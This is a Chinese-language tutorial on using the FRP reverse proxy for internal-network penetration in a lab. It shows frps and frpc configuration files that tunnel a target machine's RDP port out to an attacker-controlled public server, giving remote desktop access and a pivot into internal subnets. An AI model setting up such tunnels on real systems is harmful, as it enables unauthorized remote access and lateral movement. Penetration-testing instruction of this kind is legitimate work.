实战FRP代理工具内网渗透入门(二)
FRP工具介绍
0x01
FRP介绍
frp 是一个可用于内网穿透的高性能的反向代理应用,支持TCP、UDP协议,为HTTP和HTTPS应用协议提供了额外的能力,且尝试性支持了点对点穿透。frp 采用go语言开发。更多的人使用 frp 是为了进行反向代理,满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网NAS等,实现类似花生壳、ngrok等功能。而对于内网渗透来讲,这种功能恰好能够满足我们进行内网渗透的流量转发。FRP最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的隧道,可以把外网的流量,通过加密隧道穿透到内网。效果有些类似于VPN。
为什么使用FRP
FRP通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
- 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
- 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
- 代理组间的负载均衡。
- 端口复用,多个服务通过同一个服务端端口暴露。
- 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
- 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
- 服务端和客户端 UI 页面。
下面提供FRP工具的下载和官方使用文档:
FRP官方文档:https://gofrp.org/docsFRP下载地址:https://github.com/fatedier/frp/releases
FRP配置文件(Windows&Linux):
实战环境
0x01
攻击机:Windows10
IP地址:192.168.92.11
FRPS服务器端:Windows Server 2016
公网IP:42.1X2.204.XX
靶机:windows server2008
FRPC客户端
IP:10.130.2.33
靶机内网存在多个服务器网段:
10.130.1.0/16
10.131.10.0/16
10.133.3.0/24
10.128.1.0/24
服务器端frps.ini的配置:
[common] bind_port = 7000 #表示用于客户端和服务端连接的端口,这个端口号我们之后在配置客户端的时候要用到。 dashboard_port = 7500 #是服务端仪表板的端口,若使用7500端口,在配置完成服务启动后可以通过浏览器访问 x.x.x.x:7500 (其中x.x.x.x为VPS的IP)查看frp服务运行信息。 token = 815093110 #是用于客户端和服务端连接的口令,请自行设置并记录,稍后会用到。 dashboard_user = bmzgaq dashboard_pwd = bmzgaq.com #此两项表示打开仪表板页面登录的用户名和密码,自行设置即可。 vhost_http_port = 1080 vhost_https_port = 10443 #此两项用于反向代理HTTP主机时使用,本文不涉及HTTP协议,因而照抄或者删除这两条均可
配置好frps.ini文件后就可以在命令行运行frps了,在windows环境下命令行
输入以下命令:
frps.exe -c frps.ini
如果是linux环境的话则执行如下命令:
./frps -c frps.ini
如果看到屏幕输出内容如上,即表示运行正常,如果出现错误提示,请检查上面的步骤。没有问题的话,我们就可以访问使用浏览器访问42.1X2.204.XX:7500 并使用自己设置的用户名密码登录,即可看到仪表板界面。
接下来我们就要开始配置客户端了,我们将靶机内网的3389端口映射到frps服务器7333端口。到时候我们输入42.1X2.204.XX:7333就可以远程连接靶机的桌面了。
server_addr = 42.1X2.204.XX #VPS服务器的IPserver_port = 7000 #服务端服务器设置frps.ini中的端口token = 815093110 #服务端服务器设置frps.ini中的密码 [RDP] #服务器名(可以填写web、ssh、ftp等)type = tcp #连接协议类型local_ip = 127.0.0.1 #访问的ip可以是内网任何一个ip!local_port = 3389 #本地端口(根据协议修改)remote_port = 7333 #远程服务器的ip端口
配置好以上内容呢,我们就可以运行frpc客户端程序了。
实战渗透
0x02
将如上工作配置好以后我们就可以直接在本地对靶机内网进行渗透了!例如我们直接远程登录到靶机,打开mstsc,输入frps的公网地址:映射的内网端口。
